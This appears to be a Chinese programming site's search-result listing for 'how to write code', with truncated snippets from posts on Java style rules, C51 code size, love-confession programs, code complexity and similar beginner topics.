  • 编程中随着代码行数的增加,经常会感觉乱糟糟的,今天偶然看到了这样的一个pdf《阿里巴巴Java开发手册(终极版).pdf》 代码格式 1. 【强制】大括号的使用约定。如果是大括号内为空,则简洁地写成{}即可,不需要换行...
  • 如何理解这个.i++,从来没见过这种方式,请教一下各位大神~还有就是发帖有字数限制真的很烦![图片说明](https://img-ask.csdn.net/upload/201707/20/1500533680_910594.png)
  • 1、整形数字符做乘除法的C51程序,代码比较大。约9B左右,所以尽量不做乘除法。 例如:uchar a=6;a=a*6;第二行代码要9个字节,而平时的语句只有2B。2、定义变量的语句,不赋值或者不参与运算是不算代码的,能用...
  • 一个是学习新的编程语言的时候通过阅读别人的代码是个最佳的学习方法,另外是积累编程经验。如果你有机 会阅读一些操作系统的代码会帮助你理解一些基本的原理。更有就是在你作为一个质量确保人员或一个小领导的时候...
  • 他们是把用户提交上来的代码保存到一个文件里面, 如果是 c 语言就要先进行编译,然后再执行可执行文件,然后再发执行结果返加到用户看到的网页上面, 比如http://c.jsrun.net 就是c语言的在线代码运行。 其中的过程...
  • 我们在实际的编程代码中,也需要通过代码来获取本地的IP地址,那么有没有办法,直接在代码中调用【ifconfig】命令行来获取本地的IP地址呢? 答案肯定是有的,本文将给你正确的答案,请按下面的示例代码: #...
  • 编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机... 我们如何编程干掉病毒呢,有的病毒很拽很得瑟。看我们来实践干掉病毒提升权限// 函数功能:提升权限 // //
  • 对单身狗来说就是沉痛的一棒那就快来get点技巧吧也许下一秒就能打动心仪的TA01用最简单的表白程序最简单的代码莫过于vbs文字弹窗了,即使你没有任何编程经验,只要你会使用电脑,便可以制作出专属的表白弹窗程序,到...
  • 我也是网上找的,把下面的话改一下差不多了很多人说没法运行,我也不是专业的,但是这用codeblock c++是可以运行的,其他的我不知道#include #include #include #define I 20#define R 340int main(){system("mode ...
  • 如今为了追到女朋友,众位男士也是掏空心思,绞尽脑汁想各种表白的新招式,务必给女神一个难以忘记的表白。...首先特效镇文:今天我们讲的就是如何代码做出一个爱心表白特效。源码如下:520*{margin: 0;...
  • java编程-如何写出优雅的代码

    千次阅读 2018-06-25 10:32:42
    1. java判断null!=a和a!=null的区别? 正常来说没有区别,我们想判断a是否为null, 可以写if(a==null), 但是这有个问题,一不小心手滑了就写成if(a=null)....amp;运行的,并且得不到你希望的结果。...
  • 接下来让我们进步一探讨代码之美,以及如何编程成为一种艺术。 从简单中寻找美 最近我读了《代码之美》的选集,其中最能引起我共鸣的一篇文章是 Jon Bentley 写的《我编写过的最漂亮的代码》 ,这篇文章的基本原则...
  •  今天阅读《Scala编程实战》一书中的“如何有效处理代码中的NULL值”小节,写下自己的心得体会,仅供参考,如有错误,还请各位指出,不胜感激,谢谢!  我记得今年3月份有次电话面试,面试官问我:在写Spark代码...
  • 原文:Java Swing打猎射击游戏编程代码下载 这是一款java swing编写的打猎射击游戏,从这款游戏的编程中,我们可以练习如何进行射击对象的消失及相关按键的监听。 该游戏的一大亮点还是对运动图片的二级缓冲功能,...
  • 如何培养编程能力

    千次下载 热门讨论 2012-12-06 12:28:47
    左飞 代码揭秘 中 附录A 浅谈编程能力的培养与提高
  • 水人又问曰:其他语句的代码如何计算复杂度? AM答曰:吾传汝代码复杂度心法,附耳上来 法则1: 代码没有任何条件语句、分支语句或循环语句,则复杂度=1 法则2: 代码中每遇到一个条件语句(if、...
  • [1] 能输出各种编程语言并保持代码格式和语法高亮显示的网站:PlanetB | Syntax Highlight Code in Word Documents http://www.planetb.ca/syntax-highlight-wordWelcome! — Pygments http://pygments.org/[2]How ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 27,062
精华内容 10,824
关键字:

如何编程代码